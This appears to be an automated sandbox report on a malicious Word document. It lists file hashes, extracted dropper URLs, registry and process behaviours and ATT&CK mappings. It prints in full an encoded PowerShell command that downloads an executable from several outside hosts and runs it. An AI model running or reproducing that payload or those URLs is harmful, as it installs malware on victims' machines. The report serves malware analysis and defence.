5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587

General

Target

5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587.doc
Size

142KB
MD5

9d5074f934679791e41df9b1ed245838
SHA1

997f12d773ea4c77906eb1c55dab9191b2820044
SHA256

5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587
SHA512

ebf07298233ad4731a26bd1bd2a1b9ce69c1a01cc2444f21aadac2bb2229c8e052a4e79dc55566702bff643f7c4d7602c98cf5b5f10ebc7e5e9de31e1c69da84
SSDEEP

3072:A77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qi+pR4HKInUo05l29d:A77HUUUUUUUUUUUUUUUUUUUT52V0/4Hn

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://usuei.com/wp-admin/SKT62W/

exe.dropper

http://912graphics.com/wp-includes/JE/

exe.dropper

http://actbigger.com/daUeX/

exe.dropper

http://webgenie.com/order/Wsc/hi0TV/

exe.dropper

http://wasama.org/4n0f0ik/ne/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5076	4240	powershell.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

81 5076 powershell.exe
83 5076 powershell.exe
101 5076 powershell.exe
110 5076 powershell.exe
113 5076 powershell.exe

flow	pid	process
81	5076	powershell.exe
83	5076	powershell.exe
101	5076	powershell.exe
110	5076	powershell.exe
113	5076	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE
1852 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5076 powershell.exe
5076 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5076 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE
1852 WINWORD.EXE
1852 WINWORD.EXE
1852 WINWORD.EXE
1852 WINWORD.EXE
1852 WINWORD.EXE
1852 WINWORD.EXE

pid	process
1852	WINWORD.EXE
1852	WINWORD.EXE

pid	process
5076	powershell.exe
5076	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5076	powershell.exe

pid	process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JAB1AFUAQgBvADQAeABfAD0AKAAnAFUAQQBvAFgAJwArACcAMQAnACsAJwBHADQAQQAnACkAOwAkAFQARAA0AG8AQQBYAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABJAFEAQQBBAEQARABBAEcAPQAoACcAaAB0AHQAcAA6AC8ALwAnACsAJwB1AHMAdQAnACsAJwBlAGkAJwArACcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFMAJwArACcASwBUACcAKwAnADYAMgAnACsAJwBXACcAKwAnAC8AQABoACcAKwAnAHQAdABwACcAKwAnADoALwAvADkAJwArACcAMQAyACcAKwAnAGcAcgBhACcAKwAnAHAAaABpAGMAcwAuACcAKwAnAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwArACcAbAB1AGQAZQAnACsAJwBzAC8AJwArACcASgBFACcAKwAnAC8AQABoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGEAYwAnACsAJwB0AGIAaQAnACsAJwBnAGcAJwArACcAZQByAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACcALwBkAGEAJwArACcAVQBlAFgALwBAAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AdwBlAGIAJwArACcAZwAnACsAJwBlACcAKwAnAG4AaQBlAC4AJwArACcAYwBvAG0ALwBvAHIAZABlACcAKwAnAHIALwBXAHMAJwArACcAYwAvACcAKwAnAGgAaQAwAFQAVgAvACcAKwAnAEAAaAB0AHQAcAA6AC8ALwB3AGEAcwBhACcAKwAnAG0AYQAnACsAJwAuACcAKwAnAG8AcgBnAC8AJwArACcANABuADAAJwArACcAZgAwAGkAawAnACsAJwAvAG4AJwArACcAZQAvACcAKQAuACgAJwBTAHAAbAAnACsAJwBpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABDAFoARwBjAEIAdwBEAD0AKAAnAEUAJwArACcAVQBRAGMAQQBRACcAKwAnAFgAJwApADsAJABsADQAQgBVAFUAQQAgAD0AIAAoACcAMgAnACsAJwA4ADkAJwApADsAJABjAFEAQQBBAEIAQQBRAD0AKAAnAFcAQwBjACcAKwAnAFEAVQBBACcAKQA7ACQAbwBBAF8AWgBRADQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGwANABCAFUAVQBBACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBDAGMAawBHAHgAIABpAG4AIAAkAEkAUQBBAEEARABEAEEARwApAHsAdAByAHkAewAkAFQARAA0AG8AQQBYAC4AKAAnAEQAbwB3AG4AbABvAGEAJwArACcAZABGAGkAJwArACcAbAAnACsAJwBlACcAKQAuAEkAbgB2AG8AawBlACgAJABCAEMAYwBrAEcAeAAsACAAJABvAEEAXwBaAFEANAApADsAJABNAFUAQQBBAFoAQQBBAEIAPQAoACcAcwB3ACcAKwAnAEEARAAnACsAJwBEAFUAQQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbwBBAF8AWgBRADQAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQAbwBBAF8AWgBRADQAOwAkAG8AVQBEAEIAUQBVAGMAPQAoACcARgBBAFUAQQBEADQAJwArACcAYwAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgB4AGsARAB3AEQAUQBBAD0AKAAnAFMAJwArACcAQgAnACsAJwA0AFEAQwBjAFoAJwApADsA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1852-132-0x00007FF8C0C50000-0x00007FF8C0C60000-memory.dmp

Filesize
64KB

Download
memory/1852-134-0x00007FF8C0C50000-0x00007FF8C0C60000-memory.dmp

Filesize
64KB

Download
memory/1852-133-0x00007FF8C0C50000-0x00007FF8C0C60000-memory.dmp

Filesize
64KB

Download
memory/1852-135-0x00007FF8C0C50000-0x00007FF8C0C60000-memory.dmp

Filesize
64KB

Download
memory/1852-136-0x00007FF8C0C50000-0x00007FF8C0C60000-memory.dmp

Filesize
64KB

Download
memory/1852-137-0x00007FF8BE900000-0x00007FF8BE910000-memory.dmp

Filesize
64KB

Download
memory/1852-138-0x00007FF8BE900000-0x00007FF8BE910000-memory.dmp

Filesize
64KB

Download
memory/1852-139-0x0000023B706C0000-0x0000023B706C4000-memory.dmp

Filesize
16KB

Download
memory/5076-140-0x0000013525560000-0x0000013525582000-memory.dmp

Filesize
136KB

Download
memory/5076-141-0x00007FF8D3910000-0x00007FF8D43D1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-142-0x00007FF8D3910000-0x00007FF8D43D1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-143-0x00007FF8D3910000-0x00007FF8D43D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads